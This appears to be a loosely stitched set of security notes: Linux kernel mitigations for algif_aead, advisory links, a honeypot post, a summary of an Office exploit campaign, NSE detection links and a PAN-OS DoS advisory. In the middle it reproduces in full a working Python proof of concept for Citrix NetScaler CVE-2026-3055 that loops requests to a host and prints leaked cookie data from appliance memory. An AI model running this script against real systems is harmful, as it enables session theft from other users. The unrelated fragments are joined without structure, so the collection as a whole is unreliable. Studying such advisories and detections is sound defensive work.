https://github.com/microsoft/WSL/issues/40365

Kernel module (without reboot)

If your system use dynamic loading of kernel module, the following can be done:

rmmod algif_aead to ensure that the module is not loaded

Create and edit the file /etc/modprobe.d/disable-algif.conf and add install algif_aead /bin/false

Kernel with algif_aead (such as RedHat)

Based on the following https://csirt.egi.eu/2026/04/30/critical-vulnerability-in-linux-kernel/ reference, this can be done:

sudo grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init"; sudo reboot"

which will require a reboot.

BPF filtering

There are also options there.

This article provides the known indicators of compromise (IOCs) associated with malicious software c05d5254 and related activity, and actions to take if IOCs are discovered.

https://my.f5.com/manage/s/article/K000160486

For more details -> https://labs.watchtowr.com/please-we-beg-just-one-weekend-free-of-appliances-citrix-netscaler-cve-2026-3055-memory-overread-part-2/

which includes

import base64

import requests
import urllib3

urllib3.disable_warnings()

BANNER = """             __         ___  ___________                   
     __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
     \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
      \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
       \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
                  \\/          \\/     \\/                            

watchTowr-vs-Citrix-NetScaler-CVE-2026-3055.py
(*) Citrix NetScaler Memory Overread Detection Artifact Generator - Aliz Hammond of watchTowr (@watchTowrcyber)
CVEs: [CVE-2026-3055]
"""

print(BANNER)

while True:
    try:
        resp = requests.get("https://<host>/wsfed/passive?wctx", verify=False, allow_redirects=False)
        tass = resp.cookies.get('NSC_TASS', None)
        if tass is None:
            continue
        tassText = base64.b64decode(tass)
        memIdx = tassText.find(b'wctx=')
        if memIdx != -1:
            bled = tassText[memIdx+5:]
            cookiePos = bled.find(b'Cookie')
            if cookiePos != -1:
                print(bled[cookiePos:].decode('ascii', errors='ignore'))
    except Exception:
        pass

🚨Citrix NetScaler CVE-2026-3055 is being actively exploited in the wild

Attackers send crafted SAMLRequest payloads to /saml/login omitting the AssertionConsumerServiceURL field, triggering the appliance to leak memory contents via the NSC_TASS cookie.

Our honeypot data shows exploitation activity from the same payload structure as the @watchtowrcyber PoC.

Track exploitation of our Citrix honeypots 👉 https://console.defusedcyber.com/capabilities

https://x.com/defusedcyber/status/2038266417091326156?s=46

On 26 January 2026, Microsoft disclosed the actively exploited vulnerability CVE-2026-21509 in Microsoft Office, and within days weaponized DOC files appeared in public and via phishing campaigns targeting Ukrainian and EU government entities, using lures related to Ukraine and EU COREPER meetings; opening the documents triggers a WebDAV-based infection chain that downloads an LNK file, deploys a malicious DLL through COM hijacking and explorer.exe restart, executes shellcode hidden in an image, and ultimately launches the COVENANT command-and-control framework, which leverages the legitimate Filen cloud infrastructure, indicating a coordinated campaign likely to expand rapidly due to delayed patching and limited adoption of mitigations.

https://cert.gov.ua/article/6287250

This script allows detection of EPMM device. https://github.com/D4-project/Plum-Rules-NSE/blob/main/ivanti_epmm.nse

This NSE Script allows detection of EPMM servers using NMAP

https://github.com/D4-project/Plum-Rules-NSE/blob/main/ivanti_epmm.nse

telnetd: Enable autologin in legacy mode.

Without authentication, autologin was broken. Bug reported by Kuaikuai Wu to the list in `2014-12/msg00010.html'.

A vulnerability in Palo Alto Networks PAN-OS software enables an unauthenticated attacker to cause a denial of service (DoS) to the firewall. Repeated attempts to trigger this issue results in the firewall entering into maintenance mode.

Reference: https://security.paloaltonetworks.com/CVE-2026-0227